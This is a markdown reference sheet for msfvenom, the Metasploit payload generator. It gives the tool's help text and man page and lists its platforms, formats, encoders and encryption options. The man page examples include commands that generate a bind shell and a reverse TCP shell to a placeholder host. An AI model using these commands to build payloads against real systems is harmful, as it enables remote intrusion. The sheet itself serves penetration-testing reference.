# MSFVenom Notes ### Short Help ``` Options: -l, --list List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all -p, --payload Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom --list-options List --payload 's standard, advanced and evasion options -f, --format Output format (use --list formats to list) -e, --encoder The encoder to use (use --list encoders to list) --service-name The service name to use when generating a service binary --sec-name The new section name to use when generating large Windows binaries. Default: random 4-character alpha string --smallest Generate the smallest possible payload using all available encoders --encrypt The type of encryption or encoding to apply to the shellcode (use --list encrypt to list) --encrypt-key A key to be used for --encrypt --encrypt-iv An initialization vector for --encrypt -a, --arch The architecture to use for --payload and --encoders (use --list archs to list) --platform The platform for --payload (use --list platforms to list) -o, --out Save the payload to a file -b, --bad-chars Characters to avoid example: '\x00\xff' -n, --nopsled Prepend a nopsled of [length] size on to the payload --pad-nops Use nopsled size specified by -n as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length) -s, --space The maximum size of the resulting payload --encoder-space The maximum size of the encoded payload (defaults to the -s value) -i, --iterations The number of times to encode the payload -c, --add-code Specify an additional win32 shellcode file to include -x, --template Specify a custom executable file to use as a template -k, --keep Preserve the --template behaviour and inject the payload as a new thread -v, --var-name Specify a custom variable name to use for certain output formats -t, --timeout The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) --refresh-cache Rebuild the module metadata cache from disk before listing -h, --help Show this message ``` ### Man Page ``` NAME msfvenom - Payload Generator and Encoder SYNOPSIS msfvenom [options] DESCRIPTION Msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework in‐ stance. Msfvenom has replaced both msfpayload and msfencode as of June 8th, 2015. OPTIONS -p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom payloads --payload-options List the payload's standard options -l, --list [module_type] List a module type example: payloads, encoders, nops, all -n, --nopsled [length] Prepend a nopsled of [length] size on to the payload -f, --format [format] Output format (use --help-formats for a list) --help-formats List available formats -e, --encoder [encoder] The encoder to use -a, --arch [architecture] The architecture to use --platform [platform] The platform of the payload Cisco or cisco, OSX or osx, Solaris or solaris, BSD or bsd, OpenBSD or openbsd, Firefox or firefox, BSDi or bsdi, NetBSD or netbsd, NodeJS or nodejs, FreeBSD or freebsd, Python or python, AIX or aix, JavaScript or javascript, HPUX or hpux, PHP or php, Irix or irix, Unix or unix, Linux or linux, Ruby or ruby, Java or java, Android or android, Netware or netware, Windows or windows -s, --space [length] The maximum size of the resulting payload --encoder-space [length] The maximum size of the encoded payload (defaults to the -s value) -b, --bad-chars [list] The list of characters to avoid example: '\x00\xff' -i, --iterations [count] The number of times to encode the payload -c, --add-code [path] Specify an additional win32 shellcode file to include -x, --template [path] Specify a custom executable file to use as a template -k, --keep Preserve the template behavior and inject the payload as a new thread -o, --out [path] Save the payload -v, --var-name [name] Specify a custom variable name to use for certain output formats --smallest Generate the smallest possible payload -h, --help Show this message --help-formats List available formats EXAMPLE msfvenom --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b "\x00" -f python msfvenom --platform linux -p linux/x86/shell/reverse_tcp LHOST=w.z.y.z LPORT=443 -b "\x00" -f elf -o file.bin For more examples visit https://www.offensive-security.com/metasploit-unleashed/msfvenom SEE ALSO msfcli(1) - deprecated - msfconsole(1) msfpayload(1) - deprecated - msfencode(1) - deprecated - AUTHOR(S) Creator HD Moore - @hdmoore / hdm@metasploit.com Man Page Author: Kali Linux™ File man page bug reports at https://bugs.kali.org COPYRIGHT Copyright (C) 2006-2015, Rapid7 Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the fol‐ lowing disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Rapid7 LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WAR‐ RANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTIC‐ ULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DI‐ RECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOW‐ EVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEG‐ LIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBIL‐ ITY OF SUCH DAMAGE. The Metasploit Framework is provided under the 3-clause BSD license above. The copyright on this package is held by Rapid7 LLC. This license does not apply to several components within the Metasploit Framework source tree. For more details see the LICENSE file. ``` ### Platforms ``` Framework Platforms [--platform ] ======================================== Name ---- aix android apple_ios arista brocade bsd bsdi cisco firefox freebsd hardware hpux irix java javascript juniper linux mainframe mikrotik multi netbsd netware nodejs openbsd osx php python r ruby solaris unifi unix unknown windows ``` ### Archetectures ``` Framework Architectures [--arch ] ======================================== Name ---- aarch64 armbe armle cbea cbea64 cmd dalvik firefox java loongarch64 mips mips64 mips64le mipsbe mipsle nodejs php ppc ppc64 ppc64le ppce500v2 python r riscv32be riscv32le riscv64be riscv64le ruby sparc sparc64 tty x64 x86 x86_64 zarch ``` ### Formats ``` Framework Executable Formats [--format ] =============================================== asp aspx aspx-exe axis2 dll ducky-script-psh elf elf-so exe exe-only exe-service exe-small hta-psh jar jsp loop-vbs macho msi msi-nouac osx-app psh psh-cmd psh-net psh-reflection python-reflection vba vba-exe vba-psh vbs war Framework Transform Formats [--format ] ============================================== base32 base64 bash c csharp dw dword go golang hex java js_be js_le masm nim nimlang num octal perl pl powershell ps1 py python raw rb ruby rust rustlang sh vbapplication vbscript zig ``` ### Encryption ``` Framework Encryption Formats [--encrypt ] ================================================ aes256 base64 rc4 xor ``` ### Encoders ``` Framework Encoders [--encoder ] ====================================== Name Rank Description ---- ---- ----------- cmd/base64 good Base64 Command Encoder cmd/brace low Bash Brace Expansion Command Encoder cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Bourne ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder php/hex great PHP Hex Encoder php/minify great PHP Minify Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder ruby/base64 great Ruby Base64 Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/xor_context normal Hostname-based Context Keyed Payload Encoder x64/xor_dynamic normal Dynamic key XOR Encoder x64/zutto_dekiru manual Zutto Dekiru x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglot manual BMP Polyglot x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/service manual Register Service x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder x86/xor_dynamic normal Dynamic Key XOR Encoder x86/xor_poly normal XOR POLY Encoder ``` ## Links - [Github Docs](https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/basics/how-to-use-msfvenom.html) - [Official Docs](https://www.offsec.com/metasploit-unleashed/msfvenom) ## Copying Creative Commons 0 Version 1.0